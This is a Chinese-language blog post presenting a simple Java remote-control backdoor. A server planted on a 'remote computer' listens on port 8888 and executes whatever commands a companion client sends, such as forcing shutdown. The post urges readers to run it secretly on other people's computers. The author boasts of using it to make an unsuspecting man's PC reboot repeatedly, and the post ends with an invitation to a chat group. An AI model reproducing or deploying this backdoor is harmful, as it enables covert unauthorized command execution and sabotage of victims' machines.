java也可以做黑客?

Java__moon發表於2019-02-20

記得:Eric S. Raymond在他著名的文章《如何成為一名黑客》中,將Java列為五門黑客必備語言之一,其它四門分別是:C、C++、Perl、Python。

而Java最大的特性是系統無關性,通過JVM可以無縫應用在各種作業系統。編寫出來的程式,根本不關聯任何的作業系統特性,除非JNI呼叫C++的DLL,但這樣還不如直接用DLL。到目前為止,我沒有發現任何一個侵入軟體,是用Java編寫的。

 

其實,Java是可以編寫資料包分析軟體,或者淺層次的埠掃描軟體的。今天我們們就一起來學習一個簡單的程式吧!

一般來說,通過埠掃面,知道對方的埠後,要進行一些進一步的操作,不是很難!難就難在如何想對方電腦傳送命令!一般電腦會開放一個135的埠,我們通過它了做一些操作。大名鼎鼎的“衝擊波”就是通過它了實現的。

關於135的埠說明如下:

135埠主要用於使用RPC(Remote Procedure Call,遠端過程呼叫)協議並提供DCOM(分散式元件物件模型)服務。

埠說明:135埠主要用於使用RPC(Remote Procedure Call,遠端過程呼叫)協議並提供DCOM(分散式元件物件模型)服務,通過RPC可以保證在一臺計算機上執行的程式可以順利地執行遠端計算機上的代 碼;使用DCOM可以通過網路直接進行通訊,能夠跨包括HTTP協議在內的多種網路傳輸。

 

當然通過java來實現,確實有點困難,在這就不多說。還有一種簡單遠端方法就是種木馬。至於如何掛馬的問題,不再本篇的研究範圍,如有興趣的童鞋可以自己查閱。言歸正傳,我們看一下java遠端控制的簡單實現。

遠端計算機注入的程式碼如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.ServerSocket;

import java.net.Socket;

public class Main implements Runnable {

public static final int TCP_PORT = 8888;

ServerSocket ss = null;

Socket s = null;

String cmd = null;

public Main(Socket s) {

this.s = s;

}

public void startServer() {

try {

ss = new ServerSocket(TCP_PORT);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

while (true) {

try {

s = ss.accept();

new Thread(new Main(s)).start();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

public void run() {

try {

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

dos.writeUTF("連線成功");

DataInputStream dis = new DataInputStream(s.getInputStream());

while (true) {

cmd = dis.readUTF();

try {

Runtime.getRuntime().exec(cmd);

} catch (IOException e) {

}

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

public static void main(String[] args) {

new Main(null).startServer();

}

}

原理很簡單,就是在計算機上建立一個ServerSocket,監聽8888埠。當有客戶端接入後,回執一個“連線成功”訊息。然後執行cmd命令。

 

本機的程式碼如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main {

public static final int TCP_PORT = 8888;

public static String ip = "127.0.0.1";

Socket s = null;

String cmd = null;

public static void main(String[] args) {

new Main().connect();

}

public void connect(){

try {

s = new Socket(ip,TCP_PORT);

System.out.println("連線成功");

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

do{

cmd = JOptionPane.showInputDialog("輸入命令:");

dos.writeUTF(cmd);

}while(!cmd.equals("over"));

new Thread(new RecvThread()).start();

} catch (UnknownHostException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

private class RecvThread implements Runnable{

public void run() {

DataInputStream dis;

while(true){

try {

dis = new DataInputStream(s.getInputStream());

String message = dis.readUTF();

JOptionPane.showMessageDialog(null, message);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

原理是,這邊連入對方的服務端,向對方傳送一個cmd命令,對方電腦就會執行。簡單的如“shutdown -s”,就是讓對方關機。

 

弄清楚是怎麼一回事後,就會發現這些非常的簡單。有興趣的話,大家可以試一下。尤其是對於初學者,有很大的動力。其實,Java在單機上也有很大的發展潛力的。

注:

想了解更多可加小姐姐私群:836442475(大牛聚集地)一起交流學習探討!

需要說明的是,這裡能將程式碼簡單的複製,請大家見諒。另外如果要想讓該程式成功的在他人計算機上偷偷的執行,只靠java還是不行。加上一些處批命令,就可以簡單的搞定。有興趣的話,大家可以研究。小姐姐就用著段簡單的程式碼,讓一個小哥哥的電腦頻繁的重啟,哈哈哈!害他不知所以然,還重灌了一遍系統。大家知道了不要告訴他哦!

相關文章